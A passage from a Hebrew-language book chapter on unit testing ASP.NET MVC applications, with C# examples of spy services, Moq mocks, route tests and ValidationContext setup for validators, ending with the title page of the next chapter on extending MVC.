הבדיקות אשר עדכנו בראשית (פרויקט בדיקות היחידה הסטנדרטי כולל מספר בדיקות בקר 
, י שידועכפ, ובפיתוח, פתיע של הבדלים דקיםבדיקה של בקרים מאופיינת במספר מ). הפרק

 .  דרך הפרטים הקטניםהקו הדק בין קוד טוב לקוד מצוין עובר
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 הוצאת ההיגיון העסקי מהבקרים

שמכיל (היא לתאם בין המודל בקר -תצוגה-בקר בארכיטקטורת מודלה העיקרית של המשימה
הבקר הוא זה שמחבר בין ). שמכילה את ממשק המשתמש(והתצוגה ) את ההיגיון העסקי

הוא למעשה קוד " יגיוןה"המונח . הרכיבים השונים ומאפשר להם לפעול יחדיו בצורה חלקה
 .התכנות

החל מדברים פשוטים כגון אימות , טומן בחובו מגוון רחב של גורמים" היגיון עסקי"המונח 
 . החלת תהליכים הקשורים לרצף עבודה עסקימו כ,מורכביםוכלה בדברים , קלט ונתונים

ימה של מכיוון שזוהי המש, בקרים לא צריכים לנסות לאמת את נכונות המודלים, לדוגמה
הבקרים נדרשים לקבוע כיצד להגיב במקרה שנאמר להם , עם זאת. שכבת המודל העסקי
 חוזרת של תצוגה כלשהי במקרה שאימות המודל העל ידי הצג, למשל(שהמודל אינו חוקי 

 ). או לשלוח את המשתמש לדף אחר במקרה של אימות מוצלח, נכשל

גם בדיקות היחידה של שיטות , וטותמכיוון שפעולות הבקר שלכם אמורות להיות די פש
גם כאן עליכם , באופן דומה לעבודה עם בקרים. הפעולה הללו צריכות להיות פשוטות למדי

 . שאר מחוץ לבדיקות היחידהילהקפיד שההיגיון העסקי י

קו . ניקח לדוגמה את המקרה של מודלים ואימות, כדי להמחיש בדיוק למה אנחנו מתכוונים
בדיקת יחידה טובה צריכה לספק שכבת היגיון עסקי . קת יחידה טובה ורעהדק מפריד בין בדי

בדיקת יחידה רעה ; בהתאם למטרת הבדיקה, מדומה שאומרת לבקר אם המודל חוקי או לא
תערבב יחדיו נתונים תקינים ופסולים ותאפשר לשכבת ההיגיון הקיימת לאמת אותם ולהעביר 

: דה הרעה בודקת למעשה שני רכיבים בבת אחתשימו לב שבדיקת היחי. את התוצאות לבקר
בעיה פחות ברורה עם בדיקת היחידה הזו היא . את פעולת הבקר ואת השכבה העסקית

אם בעתיד ההגדרה הזו ; העובדה שהבדיקה מכילה ידע בדבר ההגדרה של נתונים פסולים
, כשל כוזבהדבר יפגע בפעולה התקינה של הבדיקה וייתכן שבעת הרצתה היא תחזיר , תשתנה

 .  הצלחה כוזבת-או גרוע מכך 

כך אנו מגיעים אל . כתיבת בדיקות יחידה איכותיות מחייבת משמעת רבה יותר בכתיבת הבקר
 . העצה השנייה

 העברת תלויות שירות דרך פונקציית הבנאי

צריך להשתמש בשכבה עסקית , כדי לכתוב בדיקות יחידה איכותיות באופן שזה עתה תיארנו
. ו עשויה להיות משימה די מאתגרת כאשר הבקר קשור באופן ישיר לשכבה העסקיתז. מדומה

יצירת השכבה , אם השכבה העסקית מועברת לבקר כפרמטר שירות דרך הבנאי, עם זאת
 . ממש טריוויאלי, המדומה הופכת לעניין פשוט וקל

לתשתית . 12בהקשר זה תוכלו להפיק תועלת רבה על ידי יישום ההנחיות שהצגנו בפרק 
ASP.NET MVC 3 נוספו מספר אמצעים פשוטים שמאפשרים לבצע הזרקת תלויות ביישומים 
ולפיכך מתן תמיכה למתן שירותים דרך פרמטרים שמועברים לבנאי היא לא , שאתם מפתחים

תוכלו לנצל את היכולות החדשות בבדיקות היחידה שלכם . אלא קלה ביותר, רק אפשרית



 361    בדיקות יחידה:13פרק 

וזה כאמור אחד מארבעת העקרונות המנחים , דיקת הרכיב בבידודבקלות רבה כדי לסייע בב
 . העיקריים בביצוע בדיקות יחידה

ברוב במקרים . השירותים חייבים להיות ניתנים להחלפה, כדי לבדוק את תלויות השירות הללו
המשמעות היא שעליכם לייצג את השירותים שלכם במונחים של ממשקים או של מחלקות 

התחליפים המדומים שתיצרו עבור בדיקות היחידה יכולים להיות מימושים . בסיס מופשטות
 כדי )mocking framework(בתשתית הדמיה להשתמש או לחילופין תוכלו , באופן ידנישנכתבו 

מכלי קיימים אפילו סוגים מיוחדים של מכלי הזרקת תלויות בשם . לפשט את תהליכי המימוש
 אשר יוצרים באופן אוטומטי את )auto-mocking containers(אוטומטית -הדמיה

 . המימושים הדרושים

אשר למעשה , )spy(ל גֵרַמְדרך עבודה מקובלת לכתיבה ידנית של שירותים מדומים נקראת 
מתעד את הערכים שמועברים אליו כדי שיוכלו להיבדק במועד מאוחר יותר על ידי בדיקת 

 : ל הממשק הבאנניח שיש לנו שירות מתמטי בע, לדוגמה. היחידה

public interface IMathService 

{ 

 int Add(int left, int right); 

} 

ברור שהמימוש האמיתי של השירות המתמטי .  שני ערכים ומחזירה ערך אחדהשיטה מקבלת
addהמימוש של .  יחבר את שני הפרמטרים ויחזיר את סכומםspyלהיראות כך עשוי  : 

public class SpyMathService : IMathService 

{ 

 public int Add_Left; 

 public int Add_Right; 

 public int Add_Result; 

 

 public int Add(int left, int right) 

 { 

  Add_Left = left; 

  Add_Right = right; 

  return Add_Result; 

 } 

} 

 את הערך שהיא רוצה Add_Result -להציב ב, spy של מופע בדיקת היחידה יכולה ליצור ,כעת
- וAdd_Leftולאחר סיום הבדיקה לבצע אימותים על ערכי , Addלהחזיר בעת קריאה לשיטה 

Add_Rightשימו לב שהמרגל שלנו אינו מחבר את .  כדי לוודא שבוצעה ההתקשרות הנכונה
 :  אנחנו מתעניינים רק בערכים שנכנסים ויוצאים מהשירות המתמטי-הערכים 

[TestMethod] 

public void ControllerUsesMathService() 

{ 

 var service = new SpyMathService { Add_Result = 42; } 
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 var controller = new AdditionController(service); 

 

 var result = controller.Calculate(4, 12); 

 

 Assert.AreEqual(service.Add_Result, result.ViewBag.TotalCount); 

 Assert.AreEqual(4, service.Add_Left); 

 Assert.AreEqual(12, service.Add_Right); 

} 

 HttpContextהעדפת תוצאות פעולה על פני עדכון 

 - וIHttpModule מסתכמת בממשקים ASP.NETתשתית הליבה של , מבחינות רבות
IHttpHandler , כיית המחלקות של היררכשלצידןHttpContext)  כמוHttpRequest ,

HttpResponseאלו הן המחלקות הבסיסיות שעליהן בנויה פלטפורמת . )' וכוASP.NET וחלקיה 
 . Web Pages- וWeb Forms ,MVC: השונים

אין כל דרך להחליף את התפקודים . הבעיה היא שהמחלקות הללו אינן נוחות במיוחד לבדיקה
לגרסה . אם כי לא בלתי אפשרית, ותרולכן בדיקה של האינטראקציות מולן בעייתית בי, שלהן

NET 3.5 SP1  נוסף תוצר קוד בשםSystem.Web.Abstractions.dll , אשר יצר מחלקות מופשטות
כל ). HttpContext היא הגרסה המופשטת של HttpContextBase(שקולות למחלקות הללו 

ילותיהן מקבל נכתבו כנגד המחלקות המופשטות הללו במקום להתייחס MVCהרכיבים של 
דרך פעולה זו הקלה מאוד על בדיקת קוד שמנהל אינטראקציה עם המחלקות . המקוריות

 . הללו

ורובן כוללות , כיה של המחלקות עדיין מאוד עמוקההיררה. אבל בכך לא נפתרו כל בעיותינו
יצירת מרגלים עבור המחלקות הללו יכולה להיות עבודה מאוד . עשרות מאפיינים ושיטות

 mocking(ולכן רוב המפתחים נעזרים בתשתיות הדמיה , לשגיאותועדת מייגעת ומ

frameworks(גם הטמעת תשתיות ההדמיה יכולה להיות עבודה , אולם.  כדי להקל על עבודתם
ולכן נשאף לצמצם ככל הניתן את העבודה , מספר בדיקות הבקרים יהיה גבוה: סיזיפית

 . שכרוכה בכתיבתם

היא בסך : אשר המימוש שלה פשוט למדי, MVC של RedirectResultניקח לדוגמה את המחלקה 
אז מה הניע את צוות . HttpContextBase.Response.Redirectלשיטה עבורכם הכול קוראת 

MVCגם אם , אשר רק מאפשרת להחליף שורת קוד בשורת קוד אחרת,  ליצור את המחלקה הזו
 . ל על ביצוע בדיקות יחידההתשובה היא שמחלקה זו נועדה להק? קצת פשוטה יותר

שלא עושה שום דבר , נכתוב שיטת פעולה מופשטת, כדי להמחיש למה אנחנו מתכוונים
 :למעט ניתוב המשתמש לחלק אחר של האתר

public void SendMeSomewhereElse() 

{ 

 Response.Redirect("~/Some/Other/Place"); 

} 
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.  הבדיקה שלה אינה פשוטה כפי שהיינו רוציםאך, ממש טריוויאלית, זו פעולה פשוטה וברורה
כדי ) /http://code.google.com/p/moqניתנת להורדה בכתובת  (Moqבתשתית ההדמיה נעֵזָרֵ 

 :לכתוב את בדיקת היחידה הבאה
[TestMethod] 

public void SendMeSomewhereElseIssuesRedirect() 

{ 

 var mockContext = new Mock<ControllerContext>(); 

 mockContext.Setup(c => 

  c.HttpContext.Response.Redirect("~/Some/Other/Place")); 

 var controller = new HomeController(); 

 controller.ControllerContext = mockContext.Object; 

 

 controller.SendMeSomewhereElse(); 

 

 mockContext.Verify(); 

} 

. תוכלל לא פשוט להבין מה הן אמורות לעשו, ל צמד שורות מאוד מסורבלותהקוד הזה מכי
Redirectתארו לעצמכם .  היא ככל הנראה אחת הפעולות הפשוטות ביותר שניתן לבצע

אין ). action(שהייתם צריכים לכתוב קוד כזה בכל פעם שעליכם ליצור בדיקת יחידה לפעולה 
ת המרגל הנחוצות עשויה להתפרש על מספר זו הגזמה לומר שרשימת המקורות למחלקו

 השינוי הקל .בדיקהצורך  די קרובה למעשה למצב האידיאלי לMoq הספרייהלכן ו, עמודים
אך במקביל גם לנקות , שמוצג בקטע הקוד הבא מאפשר לשמור על הבקר כמעט ללא שינוי

 :בצורה משמעותית את בדיקת היחידה
public RedirectResult SendMeSomewhereElse() 

{ 

 return Redirect("~/Some/Other/Place"); 

} 

 

[TestMethod] 

public void SendMeSomewhereElseIssuesRedirect() 

{ 

 var controller = new HomeController(); 

 

 var result = controller.SendMeSomewhereElse(); 

 

 Assert.AreEqual("~/Some/Other/Place", result.Url); 

} 

בתוך ) וחבריה (HttpContextפעולות האינטראקציה שמתבצעות מול ) encapsulation(כימוס 
כל שאר הבקרים יכולים . ממקד את מאמצי הבדיקה במיקום מבודד יחיד, תוצאת הפעולה

במקרה שיש צורך , וחשוב לא פחות, ליהנות מפירות הפישוט של בדיקות היחידה שלהם
עם קומץ של (השינוי יוגבל למיקום יחיד ,  ההיגיון של התוכנית,לשנות את מהלך הביצוע
 ). בניגוד לעדכון של עשרות ואף מאות בדיקות בקרים, בדיקות שמצריכות שינוי
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 UpdateModelהעדפת פרמטרי פעולה על פני 

 האחראית על תרגום נתוני הבקשות הנכנסות א היASP.NET MVCמערכת הקישור למודל של 
נתוני הבקשה מתקבלים מתוך גוף הבקשה על ידי . ם לשמש את הפעולותלערכים שיכולי

אולם . URLואפילו ממקטעים בנתיב של כתובת , מערכי מחרוזות שאילתה, post-שימוש ב
: שתי דרכים עיקריות משמשות להעברת הנתונים הללו לבקר, יהיה מקור הנתונים אשר יהיה
או אל אחותה , UpdateModel לשיטה או באמצעות קריאה, העברתם כפרמטרים לפעולה

 . TryUpdateModelהמפורטת יותר 

 :דוגמה לשיטת פעולה שמשתמשת בשתי הטכניקות
[HttpPost] 

public ActionResult Edit(int id) 

{ 

 Person person = new Person(); 

 UpdateModel(person); 

 
 [...יתר הקוד הוסר לצורך הפשטות...] 

}  

הסיבה להעדפת .  משתמשים בשתי הטכניקות שמוזכרות לעילpersonתנה  והמשidהפרמטר 
בדיקות יחידה יכולות : השימוש בפרמטרי פעולה כאמצעי לייעול בדיקות היחידה מובנת מאליה
ואין כל צורך בשינוי , לספק מופע של כל טיפוס שנחוץ לשיטת הפעולה הנבדקת ללא כל מאמץ

של ) non-virtual(וירטואלית - היא שיטה לאUpdateModel, עם זאת. התשתית כדי לאפשר זאת
 . ולפיכך לא ניתן לשכתב בקלות את ההתנהגות שלה, Controllerמחלקת הבסיס 

יש מספר טכניקות שתוכלו ליישם כדי , UpdateModelאם אתם אמנם צריכים לקרוא לשיטה 
שכתב את הטכניקה המתבקשת היא כמובן ל. להזין נתונים למערכת הקישור למודל

ControllerContext) עדכון פני על פעולה תוצאות העדפת", כמוצג בסעיף הקודם 
HttpContext(" , והעברת נתוני טופס מדומים עבור המְקַשְרים)binders (המחלקה . למודל

Controllerאו ספקי ערכים שיכולים / מכילה אמצעים שמאפשרים לספק מְקַשְרים למודל ו
אך לאור מה שלמדנו על הדמיה ניתן להבין שהשימוש , דומיםלשמש להזנת נתונים מ

 . באמצעים אלה צריך להיות מוצא אחרון

 בדיקת ניתובים

הינה לרוב תהליך פשוט וישיר לאחר שמבינים כיצד בדיוק ) routes(בדיקה של כללי ניתוב 
בה מכיוון שמערכת הניתוב משתמש בתשתית הלי. מבוצעות כל ההכנות המקדימות הנדרשות

 .  לכתיבת התחליפיםMoqנשתמש בספרייה , ASP.NETשל 

 מבוצעת הרשמה של שני כללי ניתוב בקובץ MVCבתבנית הפרויקט הסטנדרטית של 
global.asax : 

public static void RegisterRoutes(RouteCollection routes) 

{ 



 365    בדיקות יחידה:13פרק 

 routes.IgnoreRoute("{resource}.axd/{*pathInfo}"); 

 

 routes.MapRoute( 

  "Default", 

  "{controller}/{action}/{id}", 

  new { controller = "Home", action = "Index", id = UrlParameter.Optional } 

 ); 

} 

הדבר .  יוצר את הפונקציה הזו כפונקציה סטטית ציבוריתMVCמאוד נוח שמערך הכלים של 
 ולגרום RouteCollectionצעות מופע של מאפשר לקרוא לה בקלות רבה מבדיקות היחידה באמ

 . כדי שיהיה אפשר לבחון ולהריץ אותם בקלות, לה למפות את כל הניתובים לאוסף שלם

חלק . עליכם להבין כמה דברים בנוגע למערכת הניתוב, לפני שתוכלו לבדוק את הקוד הזה
הוא אופן אך מה שחשוב להבין בהקשר שמעסיק אותנו עכשיו , 9מהנושאים הוצגו בפרק 

, RouteCollection של Addכאשר תבחנו את השיטה . הפעולה של מערכת רישום הניתובים
 : RouteBaseתוכלו לראות שהיא מקבלת שם ומופע של אוביקט מטיפוס 

public void Add(string name, RouteBase item) 

למפות נתונים ומטרתה העיקרית היא , )abstract( היא מחלקה מופשטת RouteBaseהמחלקה 
 : מבקשות נכנסות אל נתוני הניתוב

public abstract RouteData GetRouteData(HttpContextBase httpContext) 

ובמקום זה קוראים לשיטה , Add לא נעשה בדרך כלל שימוש ישיר בשיטה MVCביישומי 
MapRoute)  זו שיטת הרחבה שמסופקת על ידי תשתיתMVC .( בגוף השיטהMapRoute , תשתית

MVC עצמה היא זו שדואגת לקרוא לשיטה Add תוך העברת אובייקט RouteBaseמתאים  .
יש לדעת איזה מטפל , ובפרט, RouteDataהדבר היחיד שצריך לעניין את המפתח הוא תוצאת 

)handler (ומהם ערכי נתוני הניתוב שיתקבלו, מופעל . 

 IgnoreRouteבדיקת קריאוֹת לשיטה 

 : ונכתוב בדיקה שמריצה אותה, IgnoreRoute לשיטה נתחיל בקריאה
[TestMethod] 

public void RouteForEmbeddedResource() 

{ 

 // Arrange 

 var mockContext = new Mock<HttpContextBase>(); 

 mockContext.Setup(c => c.Request.AppRelativeCurrentExecutionFilePath) 

        .Returns("~/handler.axd"); 

 var routes = new RouteCollection(); 

 RouteConfig.RegisterRoutes(routes); 

 

 // Act 

 RouteData routeData = routes.GetRouteData(mockContext.Object); 
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 // Assert 

 Assert.IsNotNull(routeData); 

 Assert.IsInstanceOfType(routeData.RouteHandler, 

       typeof(StopRoutingHandler)); 

} 

הנתון שיחיד . HttpContextBase בקוד משמש ליצירת הדמיה של הטיפוס arrangeהבלוק 
וכדי לקבל את הנתון הזה מבוצעת ,  של הבקשהURLשדרוש למערכת הניתוב הוא כתובת 

ורות כל שעליכם לעשות הוא לה. Request.AppRelativeCurrentExecutionFilePath-קריאה ל
בכל פעם שמערכת הניתוב קוראת ,  שברצונכם לבדוקURL להחזיר את כתובת Moqלתשתית 

 יוצרים אוסף ניתוב ריק ומבקשים מהיישום לרשום arrangeבשאר הקוד של בלוק . לשיטה הזו
 . את כל הניתובים שלו באוסף זה

ולהחזיר את  מבקשת ממערכת הניתוב לעבד את הבקשות actהשורה היחידה של בלוק הקוד 
RouteDataמופע , אם אין ניתובים תואמים.  שמתקבלRouteData שיתקבל יהיה null , ולכן

 העוקב נועדה לוודא שאכן בוצעה התאמה לנתיב assertהבדיקה הראשונה בבלוק הקוד 
הדבר היחיד שחשוב לדעת הוא . ערכי נתוני הניתוב לא רלוונטיים לבדיקה הזו. כלשהו

ואנחנו יודעים זאת מכיוון שמטפל הניתוב יהיה מופע , IgnoreRouteל שבוצעה התאמה לכל
 . System.Web.Routing.StopRoutingHandlerשל 

 MapRouteבדיקות קריאות לשיטה 

מכיוון שאלה כללי הניתוב המקבילים ,  יותר מעניינתMapRouteבדיקת הקריאות לשיטה 
אך יש כמה כתובות ,  ניתוב אחד בלבדהיישום כולל, על פי ברירת מחדל. לתפקודי היישום

URL לניתוב הזהלהתאים נכנסות שיכולות  . 

הבדיקה הראשונה נועדה להבטיח שבקשות נכנסות מדף הבית ממופות אל בקר ברירת המחדל 
 :ולפעולת ברירת המחדל של היישום

[TestMethod] 

public void RouteToHomePage() 

{ 

 var mockContext = new Mock<HttpContextBase>(); 

 mockContext.Setup(c => c.Request.AppRelativeCurrentExecutionFilePath) 

        .Returns("~/"); 

 var routes = new RouteCollection(); 

 MvcApplication.RegisterRoutes(routes); 

 

 RouteData routeData = routes.GetRouteData(mockContext.Object); 

 

 Assert.IsNotNull(routeData); 

 Assert.AreEqual("Home", routeData.Values["controller"]); 

 Assert.AreEqual("Index", routeData.Values["action"]); 

 Assert.AreEqual(UrlParameter.Optional, routeData.Values["id"]); 

} 
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נרצה לבחון את הערכים שמועברים בבדיקה זו , IgnoreRouteבניגוד לבדיקות של כללי 
מכיוון .  מוצבים על ידי מערכת הניתובid- וcontroller ,actionהערכים של . בנתוני הניתוב

סביר להניח שנשתמש בארבע , שכלל הניתוב מורכב משלושה חלקים שניתנים להחלפה
תית אם תש. 13-1כדוגמת הבדיקות שמוצגות בטבלה , בדיקות שכוללות נתונים ותוצאות

האפשרות הזו תסייע לכם בעבודה , נתונים-בדיקות היחידה שלכם תומכת בבדיקות מוכוונות
 . עם ניתובים

 דוגמאות לניתובי ברירת מחדל :13-1טבלה 

URL פעולה בקר ID 

~/ Home Index UrlParameter.Optional 

~/Help Help Index UrlParameter.Optional 

~/Help/List Help List UrlParameter.Optional 

~/Help/Topic/2 Help Topic 2 

 בדיקת ניתובים לא מותאמים

 -הבדיקות שכתבנו עד כה התייחסו כולן לקוד שכתבנו בעצמנו . אל תחשבו על זה ברצינות
אתם , אם תכתבו בדיקה לניתוב לא מותאם. MapRoute או IgnoreRouteקריאות לשיטת , קרי

אתם יכולים להיות . וזה לא מה שאתם רוצים לעשות, ב עצמהפשוט תבדקו את מערכת הניתו
 . בטוחים שהיא פועלת בסדר גמור

 בדיקות מאמתים

כולל , NET. של Data Annotations משתמשת בספריית ASP.NET MVCמערכת האימות של 
-מבוסס ואימות IValidatableObjectשמיישמים את ממשק לאובייקטי אימות עצמי תמיכה 
 שמספק למאמתים גישה לאובייקט שמכיל את המאפיין )context-based validation(הקשר 

, IClientValidatable מרחיבה את מערכת האימות הזו עם הממשק MVCתשתית . שעובר אימות
 בתהליכי אימות בצד )validation attributes(שמטרתו להקל על שיתוף של תכונות אימות 

 כוללת שני מאמתים MVCמערכת , DataAnnotationsובנות בנוסף לתכונות האימות המ. הלקוח
 . RemoteAttribute- וCompareAttribute: נוספים

 הוסיף תמיכה באימות MVCצוות הפיתוח של . השינויים בצד הלקוח יותר דרמטיים
unobtrusive לצורך מימוש כללי האימות בתור אלמנטי HTML , במקום קודJavaScriptמוטמע  .

 שמימשו את ההתחייבות לספק תמיכה ASP.NET היו הראשונים מבין צוותי MVCת חברי צוו
מיושמת  unobtrusiveאפשרות האימות . jQuery של JavaScriptמלאה למשפחת תשתיות 
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 ועל jQueryמבוסס על ו MVC עם  שמגיעהסטנדרטימימוש  ה-עצמאי מהתשתית באופן 
jQuery Validate . 

וסביר להניח שגם אתם , נה צריכים לכתוב כללי אימות חדשים קרובות מפתחי התוכלעתים
, Required ,Range(במהרה שלא די לכם בארבעת כללי האימות המובנים תרגישו 

RegularExpressionו -StringLength( . המעט הנדרש ליצירת כלל אימות חדש הוא כתיבת קוד
גם . השרת-יחידה בצד-קותשניתן לבדוק אותו באמצעות תשתיות בדי, האימות בצד השרת

- לנתוניAPIממשק השרת כדי לבדוק את -יחידה בצד-בדיקותתוכלו להשתמש בתשתיות 
-וכדי להבטיח שהכלל יפיק את הקוד הנכון בצד, IclientValidatableעבור  המטא של הלקוח

כתיבת בדיקות לשני החלקים הללו לא אמורה להיות מטלה מורכבת במיוחד . הלקוח
 .Data Annotationsהאימות בינים כיצד פועלת מערכת למפתחים שמ

 )JavaScript(צד הלקוח בדיקות יחידה ב

המְפתֵַח יכול לכתוב קטע , לקוח מקביל שתואם בצורה סבירה לכלל האימות-בהיעדר כלל צד
-יחידה בצד- שיכול לעבור בדיקת יחידה באמצעות תשתית בדיקותJavaScriptקצר של קוד 

הנושא של ). jQueryתשתית בדיקות היחידה שפותחה על ידי צוות , QUnit  כמו למשל(הלקוח 
. לקוח רחב מכדי לכסותו בפרק זה- שמופעל בצדJavaScriptכתיבת בדיקות יחידה לקוד 

אנחנו ממליצים למפתחים להשקיע את הזמן הנדרש לאיתור ולמידה של מערכת טובה 
 .  שלהםJavaScriptהלקוח כדי לבדוק את קוד -יחידה בצד-לבדיקות

במרחב השמות , ValidationAttributeמאפיין אימות יורש ממחלקת הבסיס 
System.ComponentModel.DataAnnotations . יישום של היגיון)logic ( אימות כרוך בדריסה

 בנינו מְאַמֵת 6בפרק . IsValidשל השיטה ) overloads(של אחת משתי גרסאות מועמסות 
 :אשר התחיל כך,  מיליםלמספר מקסימלי של

public class MaxWordsAttribute : ValidationAttribute 

{ 

 protected override ValidationResult IsValid( 

  object value, ValidationContext validationContext) 

 { 

  return ValidationResult.Success; 

 } 

} 

זוהי הגרסה . כפרמטר) ValidationContext(מאפיין האימות מקבל את הקשר האימות 
באפשרותכם גם לדרוס את . NET 4המועמסת החדשה שמספקת ספריית סימוני הנתונים של 

 :NET 3.5 של ממשק תכנות האימות המקורי של ספריית סימוני הנתונים של IsValidגרסת 

public class MaxWordsAttribute : ValidationAttribute 

{ 

 public override bool IsValid(object value) 

 { 
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  return true; 

 } 

} 

הקשר האימות .  שתדרסו תלויה למעשה בצורך שלכם בגישה להקשר האימותAPI-בחירת ה
יש לתת את הדעת לסוגיה . מאפשר לכם לעבוד עם אובייקט המכל שמכיל את הערך שלכם

 לכל מאמת שעושה ValidationContextמכיוון שעליכם להעביר , הזו בעת ביצוע בדיקות יחידה
 שאינה IsValidאם המאמת שלכם דורס את גרסת . שימוש במידע שבתוך הקשר האימות

 שמקבלת רק את Validateאז אתם יכולים לבצע בו קריאה לגרסה של , מקבלת הקשר אימות
 . ערך המודל ואת שם הפרמטר

ומשתמשים (שר אימות  שכוללת הקIsValidאם אתם מיישמים את הגרסה של , עם זאת
,  שכוללת הקשר אימותValidateאתם חייבים לקרוא לגרסה של , )בערכים שמאוחסנים בו

 חייב IsValidכל מימוש של , באופן תיאורטי. null יכיל IsValidאחרת הקשר  האימות שבתוך 
מכיוון שהקריאה , ValidationContextלדעת להתאים את עצמו למקרה שקוראים לו ללא 

, בפועל. NET 3.5יה להתבצע כחלק מקוד שנכתב על בסיס ממשק אימות הנתונים של עשו
אתם יכולים להתבסס בבטחה על ההנחה ,  ומעלהMVC 3בעת כתיבת מאמת שפועל בסביבת 

 . ValidationContextשהוא יקבל 

 למאמתים ValidationContextמשמעות הדבר לכתיבת בדיקות יחידה היא שעליכם לספק 
, לכל הפחות עליכם להיות מודעים לעובדה שמאמתים אלה ישתמשו בהקשר אימות. שלכם

 . ValidationContextאבל מומלץ לעשות את הדבר הנכון ולספק 

האובייקט כולל מספר חברים .  תקין אינו עניין פשוט וקלValidationContextיצירה של 
)members (הבנאי של . שתמש באובייקטשעליכם להגדיר בצורה נכונה כדי שהמאמת יוכל לה

ValidationContextמכל השירות  , מופע של המודל שיש לאמת:  מקבל שלושה ארגומנטים
)service container (עליכם לספק רק את , מבין שלושת הפרמטרים האלה. ואוסף הפריטים

מכיוון שלא נעשה בהם שימוש , nullשאר הפרמטרים צריכים להיות . המופע של המודל
 . ASP.NET MVCומי בייש

. אימות ברמת המודל ואימות ברמת המאפיין:  יודעת לבצע שני סוגי אימותMVCתשתית 
תכונת האימות , כלומר(אימות ברמת המודל מתייחס לאימות של אובייקט של מודל שלם 

אימות ברמת המאפיין מתייחס לאימות של מאפיין יחיד במודל ). מוחלת על המחלקה עצמה
הגדרת אובייקט ). נת האימות מוחלת על מאפיין בתוך מחלקת המודלתכו, כלומר(

ValidationContextמתבצעת באופן שונה בכל אחד מהתרחישים הללו  . 

 כמפורט ValidationContextבדיקת היחידה מגדירה את אובייקט , בעת אימות ברמת המודל
קים שמפורטים בדיקת היחידה משתמש בחו, בעת אימות ברמת המאפיין; 13-2בטבלה 
 . 13-3בטבלה 
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  לאימות ברמת המודלValidationContextיצירת אובייקט : 13-2טבלה 

 תוכן המאפיין מאפיין

DisplayName  בעת אימות .  בהודעות שגיאה{0}מאפיין זה מחליף את שומר המקום
שם , כלומר(המאפיין מכיל את השם הפשוט של הטיפוס , מודל

 ). השמותהמחלקה ללא קידומת מרחב 

Items  מאפיין זה אינו בשימוש ביישומיASP.NET MVC. 

MemberName מאפיין זה אינו בשימוש באימות מודל . 

ObjectInstance ועליו להכיל מופע של המודל , מאפיין זה הינו הערך שמועבר לבנאי
שימו לב שהערך צריך להיות זהה לערך שמועבר לשיטה . שיש לאמת

Validate . 

ObjectType באופן אוטומטי על סמך מוגדרמאפיין זה . טיפוס המודל שיש לאמת 
 . ValidationContextטיפוס האובייקט שמועבר לבנאי של 

ServiceContainer  מאפיין זה אינו בשימוש ביישומיASP.NET MVC. 

  לאימות ברמת המאפייןValidationContextיצירת אובייקט : 13-3טבלה 

 אפייןתוכן המ מאפיין

DisplayName  בעת אימות .  בהודעות שגיאה{0}מאפיין זה מחליף את שומר המקום
למרות שהשם עשוי , המאפיין מכיל בדרך כלל שם המאפיין, מאפיין

 .[DisplayName] או [Display] מולהיות מושפע על ידי תכונות כ

Items  מאפיין זה אינו בשימוש ביישומיASP.NET MVC. 

MemberName  מאפיין זה צריך להכיל את שם המאפיין בפועל של המאפיין
אשר משמש להצגת , DisplayNameבניגוד למאפיין . שמאמתים

 בדיוק לשם המאפיין כפי שהוא להתאיםמאפיין זה חייב , הודעות
 . מופיע במחלקת המודל

ObjectInstance ל ועליו להכיל מופע של המוד, מאפיין זה הינו הערך שמועבר לבנאי
הערך אינו זהה לערך שמועבר , בניגוד לאימות מודל. שיש לאמת

 ). אשר יהיה ערך המאפיין (Validateלשיטה 

ObjectType  מוגדרמאפיין זה . שיש לאמת) לא של המאפיין (המודלהטיפוס של 
באופן אוטומטי על סמך טיפוס האובייקט שמועבר לבנאי של 

ValidationContext . 

ServiceContainer  מאפיין זה אינו בשימוש ביישומיASP.NET MVC. 



 371    בדיקות יחידה:13פרק 

נניח שברצוננו לבדוק מופע של מחלקה . נבחן דוגמת קוד עבור כל אחד מהתרחישים
 לביצוע ValidationContextבקוד שלהלן מודגם אתחול נכון של . ModelClassהיפותטית בשם 

 :בדיקת יחידה של אימות ברמת המודל

var model = new ModelClass { /* כאן נאתחל מאפיינים */ }; 

var context = new ValidationContext(model, null, null) { 

 DisplayName = model.GetType().Name 

}; 

var validator = new ValidationAttributeUnderTest(); 

 

validator.Validate(model, context); 

ום לזריקת מופע של המחלקה  תגרValidateהקריאה לשיטה , בתוך הבדיקה
ValidationExceptionכשליאם אתם מצפים שהאימות י.  במקרה שקיימות שגיאות אימות ,
או השתמשו בשיטה המועדפת של תשתית , try/catchבבלוק  Validate-תחמו את הקריאה ל

 . הבדיקה שלכם לבדיקת חריגות

בהנחה .  אימות ברמת המאפייןכעת שימו לב כיצד הקוד ייראה במקרה שעלינו לבצע בדיקת
יראה יקוד הבדיקה ,  שעסקנו בה קודםModelClass במחלקה FirstNameשבודקים את המאפיין 

 : דומה לזה
var model = new ModelClass { FirstName = "Brad" }; 

var context = new ValidationContext(model, null, null) { 

 DisplayName = "The First Name", 

       MemberName = "FirstName" 

}; 

var validator = new ValidationAttributeUnderTest(); 

 

validator.Validate(model.FirstName, context); 

 : מעלה שני הבדלים עיקריים, השוואה בין הקוד הזה לקוד מהדוגמה הקודמת

 בקוד זה הערך שמוצב ב-MemberNameעוד שבאימות ברמת ב,  מותאם לשם המאפיין
 . MemberName-המודל לא הוצב כל ערך ב

  בעת הקריאה לשיטהValidateבניגוד לאימות ברמת ,  מועבר ערך המאפיין הנבדק
 . את ערך המודל עצמו Validate-המודל שבו העברנו ל

אם ידוע . כמובן שכל הקוד הזה נחוץ רק אם תכונת האימות צריכה גישה להקשר האימות
תוכלו להשתמש בגרסה , תבצע ללא שימוש במידע שמוכל בהקשר האימותשהאימות מ

שני . אשר מקבלת ערך אובייקט ושם תצוגה בלבד, Validateהפשוטה יותר של השיטה 
 ולערך שמוצב במאפיין של ValidationContextהערכים מקבילים לערך שמועברים לבנאי של 

DisplayName של ValidationContext ,בהתאמה . 
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 יכוםס
כדי ) TDD(בדיקות -בתחילת הספר ניתנה הקדמה קצרה בנושא בדיקות יחידה ופיתוח מונחה

. לספק את מושגי היסוד הדרושים כדי להבין את התהליכים שביסוד בדיקות יחידה יעילות
ניצלנו והרחבנו את הידע הזה על ידי הצגת עצות מעשיות וצעדים שעליכם לבצע , באחר כך

 .MVCבעת כתיבה של בדיקות יחידה עבור יישומי ) או להימנע מהם(
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 14פרק 

 MVCהרחבת תשתית 

Brad Wilson 

 

 עיקרי הפרק

 הרחבת מודלים 

 הרחבת תצוגות 

 הרחבת בקרים 

 

